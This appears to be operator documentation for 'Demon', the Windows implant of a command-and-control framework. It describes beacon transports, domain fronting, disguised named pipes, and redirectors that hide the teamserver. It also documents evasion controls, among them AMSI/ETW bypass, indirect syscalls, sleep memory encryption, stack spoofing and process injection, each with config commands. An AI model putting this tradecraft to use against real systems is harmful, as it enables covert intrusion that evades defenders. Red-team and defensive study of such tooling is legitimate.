Demon is the default Windows agent for the Mugen C2 framework.
Demon is written in C and x64 ASM, compiled with MinGW, and runs on Windows 7 / Server 2008 R2 and later (x64). It ships as a reflective DLL, a standalone EXE, or a Windows Service binary.
Demon is based on Havoc by @C5pider, published under GPL-3.0. Mugen extends it with additional features and maintenance.
Demon supports two built-in transports: HTTP/HTTPS and SMB named pipe. The transport is selected at build time; a compiled Demon binary uses exactly one transport.
The HTTP listener is the primary internet-facing transport. HTTPS is the same listener with TLS enabled.
| Field | Description |
|---|---|
| Name | Internal label for the listener (shown in the teamserver UI) |
| Bind host | IP/interface the teamserver listens on |
| Bind port | Port the teamserver listens on |
| Hosts | One or more C2 hostnames or IPs the implant will call back to |
| Port (conn) | Port the implant connects to (may differ from bind port behind a redirector) |
| Method | HTTP verb: GET or POST |
| URIs | One or more URI paths (e.g. /updates, /cdn/assets/bundle.js) |
| Host header | Host: header value to send with every request (for CDN/domain-fronting) |
| User-Agent | User-Agent header value |
| Headers | Additional arbitrary HTTP headers (Header: Value per line) |
| Host rotation | round-robin or random - cycling strategy when a host fails |
| Behind redirector | When enabled, the teamserver trusts X-Forwarded-For |
| Kill date | Unix timestamp (UTC) after which the implant exits |
| Working hours | Time window (HH:MM-HH:MM) outside which the implant sleeps |
Enable Secure to use TLS. Two options:
TLS termination happens at the teamserver. If you use a redirector (nginx, Apache, Caddy), terminate TLS there and forward plain HTTP to the teamserver on a loopback port.
Demon can route egress traffic through a proxy. Configured at build time via the builder UI, it can also be updated at runtime:
config proxy <type> <host> <port> [username] [password]
| Proxy type | Example |
|---|---|
http | Corporate HTTP proxy |
socks5 | SOCKS5 proxy |
If no explicit proxy is configured, Demon automatically discovers the system proxy via WinHTTP (WinHttpGetIEProxyConfigForCurrentUser).
When multiple Hosts are configured, Demon cycles between them on connection failure.
| Strategy | Behaviour |
|---|---|
| round-robin | Try hosts in order; advance after HostMaxRetries consecutive failures |
| random | Pick a random host each time |
A host is marked dead after HostMaxRetries consecutive failures. If all hosts are dead, Demon stops checking in and waits until the next sleep cycle to try again.
Every check-in is a single HTTP request. The body is AES-256 encrypted with a session key negotiated during the initial handshake.
POST /cdn/assets/bundle.js HTTP/1.1
Host: cdn.example.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) ...
X-Custom-Header: value
Content-Type: application/octet-stream
<AES-256 encrypted body>
The teamserver responds with the job queue, also AES-256 encrypted. If there are no pending jobs the response body is empty (just a 200 OK).
Internet → nginx/Caddy (TLS, profile match) → teamserver (127.0.0.1:<bind-port>)
Use URI-based filtering in the redirector to forward only requests that match your configured URIs; drop everything else with a 404 or redirect to a legitimate site. This keeps the teamserver invisible to scanners.
The SMB listener enables peer-to-peer chaining: a Demon on a network segment without direct internet access connects to a sibling Demon that does have C2 reach, using a Windows named pipe over SMB.
| Field | Description |
|---|---|
| Name | Internal label |
| Pipe name | Named pipe path (e.g. \\.\pipe\msagent_ee3f) |
| Kill date | Same as HTTP |
| Working hours | Same as HTTP |
pivot smb connect.TRANSPORT_SMB and is waiting for a pipe connection.Named pipes traverse SMB (TCP 445). Useful in environments where workstations can reach each other but not the internet directly.
The default pipe name is randomised by the builder (e.g. msagent_<hex>). To blend with the environment, use names matching legitimate Windows services:
\pipe\svcctl\pipe\wkssvc\pipe\srvsvcCustom pipe names can be set in the listener config before building.
The TCP pivot is similar to SMB but uses raw TCP instead of named pipes. Useful when SMB (port 445) is blocked between hosts but other TCP ports are open.
| Field | Description |
|---|---|
| Pivot host | IP the parent Demon connects to (the child's IP) |
| Pivot port | TCP port the child listens on |
See pivot tcp listen and pivot tcp connect for runtime usage.
User-Agent to a real browser UA matching the target environment./js/app.bundle.js, /assets/logo.png.Referer header pointing to a plausible origin site.sleep high during business hours to match expected traffic bursts.Set Host (listener host) to a CDN IP or hostname you control, and set Host header to the fronted domain. The CDN forwards traffic to the teamserver based on the Host: header the implant sends.
Both constraints are enforced on the implant side (no teamserver required). If the kill date passes, or a check-in is attempted outside working hours, Demon sleeps until the next valid window or exits if past the kill date.
Demon was not designed to bypass AV or EDR products out of the box - and that is intentional. Mugen does not play the cat-and-mouse game with vendors. Demon is built to be malleable and modular so operators can adapt it using their own loaders, packers, crypters, and stagers. The primitives documented here are a baseline - not a guarantee of evasion against any specific product.
This page documents the evasion primitives built into Demon. Each technique can be configured at build time (in the payload builder) or adjusted at runtime with the config command.
Demon resolves all Win32 and Native API functions at runtime from the PEB. There are no static imports and no IAT entries. The loader walks the in-memory module list (PEB->Ldr), hashes each export name with a custom algorithm, and matches against compile-time constants.
This means:
dumpbin /exports demon.dll shows no suspicious imports.When SysIndirect is enabled (default), Demon never calls NT functions directly. Instead:
syscall; ret gadget inside ntdll.dll at runtime.The result: the CPU's call stack shows a return address inside ntdll, not inside the implant. ETW kernel tracing and stack-based EDR telemetry see a legitimate call chain.
Toggle at runtime:
config inject-technique 2 # Syscall (default)
config inject-technique 1 # Win32 (no indirect syscall)
During sleep, Demon encrypts its own memory to defeat in-memory scanning tools (PE-Sieve, Moneta, BeaconEye, Yara rules). Three techniques are available.
ROP-based sleep using RtlCreateTimerQueue and SystemFunction032 (XOR encrypt):
RtlCaptureContext → encrypt memory → WaitForSingleObject → decrypt memory → restore context.Memory is XOR-encrypted with a random key while the timer is pending. No new threads are created.
Timer-based sleep using RtlRegisterWait:
Similar to Ekko but uses a different timer API path, offering variation against signature-based detection.
NtWaitForSingleObject-based sleep:
Uses alertable waits (APC-based) rather than timer queues.
In the builder UI, select the technique before generating the payload. To change it at runtime:
config sleep-technique 1 # Ekko
config sleep-technique 2 # Zilean
config sleep-technique 3 # Foliage
config sleep-mask off # Disable entirely (plaintext in memory during sleep)
Before sleeping, Demon duplicates its current call stack into a fresh stack frame that looks like a legitimate thread (e.g. a worker thread blocked on WaitForSingleObject inside ntdll). On wake, the real stack is restored.
This defeats stack-inspection tools that look for implant code in call frames.
The thread start address can also be spoofed to point to a legitimate function:
config thread-start-addr kernelbase.dll BaseThreadInitThunk
Similarly, injection threads can have their start address spoofed:
config inject-spoof-addr ntdll.dll RtlUserThreadStart
Demon can disable AMSI (Anti-Malware Scan Interface) and ETW (Event Tracing for Windows) using one of two methods.
Uses the CPU debug registers (DR0-DR3) to intercept calls to AmsiScanBuffer and NtTraceEvent. When the patched function is called, a hardware breakpoint fires, and Demon's vectored exception handler intercepts the call and returns a clean result.
Set in the builder or at runtime:
config amsi-etw hwbp
The HWBP engine is implemented in src/core/HwBpEngine.c.
Patches the first bytes of AmsiScanBuffer and NtTraceEvent with a ret instruction (classic AMSI patch). Simple and effective but leaves detectable byte-level indicators.
config amsi-etw patch
config amsi-etw none
The Proxy Loading option controls how Demon's reflective DLL is executed in the sacrifice process during fork-and-run operations. Three NT API paths are available:
| Option | API used |
|---|---|
RtlRegisterWait | RtlRegisterWait (NT timer) |
RtlCreateTimer | RtlCreateTimer + RtlCreateTimerQueue |
RtlQueueWorkItem | RtlQueueWorkItem (thread pool) |
These are alternatives to the obvious CreateRemoteThread/NtCreateThreadEx paths that EDRs monitor closely.
Controls how Demon allocates RWX/RW memory for injected code.
| Mode | API | Notes |
|---|---|---|
| NtAllocate (default) | NtAllocateVirtualMemory | Called via indirect syscall; no VirtualAllocEx in call stack |
| Win32 | VirtualAllocEx | Standard Win32 path; simpler but more monitored |
config memory-alloc 1 # NtAllocate
config memory-alloc 2 # VirtualAllocEx
Controls how Demon writes shellcode into a remote process and triggers execution.
| Technique | Write API | Execute API | Notes |
|---|---|---|---|
| Win32 (1) | WriteProcessMemory | CreateRemoteThread | Baseline; heavily monitored |
| Syscall (2, default) | NtWriteVirtualMemory | NtCreateThreadEx | Indirect syscalls; harder to hook |
| APC (3) | NtWriteVirtualMemory | NtQueueApcThread | Early-bird APC injection; fires before process entry point |
config inject-technique 1 # Win32
config inject-technique 2 # Syscall
config inject-technique 3 # APC
BOFs run in a new thread, registered as a background job. The beacon thread is not blocked. The new thread's start address is spoofed.
Installs a VEH before running the BOF. If the BOF triggers an exception (common with BOFs that call NT APIs that return errors), the VEH catches it and reports it back rather than crashing the implant.
config coffee-threaded on
config coffee-veh on
Operations that cannot safely run in the implant process (shellcode injection, some BOFs, dotnet inline-execute) can be run in a sacrificial process spawned for the purpose.
The spawn process defaults to %windir%\System32\notepad.exe. Change it to a process that is expected in the target environment:
config spawn64 C:\Windows\System32\svchost.exe -k netsvcs -p
config spawn32 C:\Windows\SysWOW64\notepad.exe
The builder patches the reflective DLL's export function name with a random string at build time. The default Havoc export (ReflectiveLoader), a well-known IOC, is never present in a Mugen payload.
The random name is re-generated each time you click Generate in the builder.
| Technique | Default | Configurable at runtime |
|---|---|---|
| Indirect syscalls | On | Yes (inject-technique) |
| Sleep obfuscation | Ekko | Yes (sleep-technique) |
| Sleep masking | On | Yes (sleep-mask) |
| Stack duplication | On | - |
| Thread start address spoof | Off | Yes (thread-start-addr) |
| Inject start address spoof | Off | Yes (inject-spoof-addr) |
| AMSI/ETW bypass | HWBP | Yes (amsi-etw) |
| Memory allocation | NtAllocate | Yes (memory-alloc) |
| BOF threaded execution | On | Yes (coffee-threaded) |
| BOF VEH | Off | Yes (coffee-veh) |
| DLL export randomisation | On | Build time only |
| PEB-based API resolution | On | - |
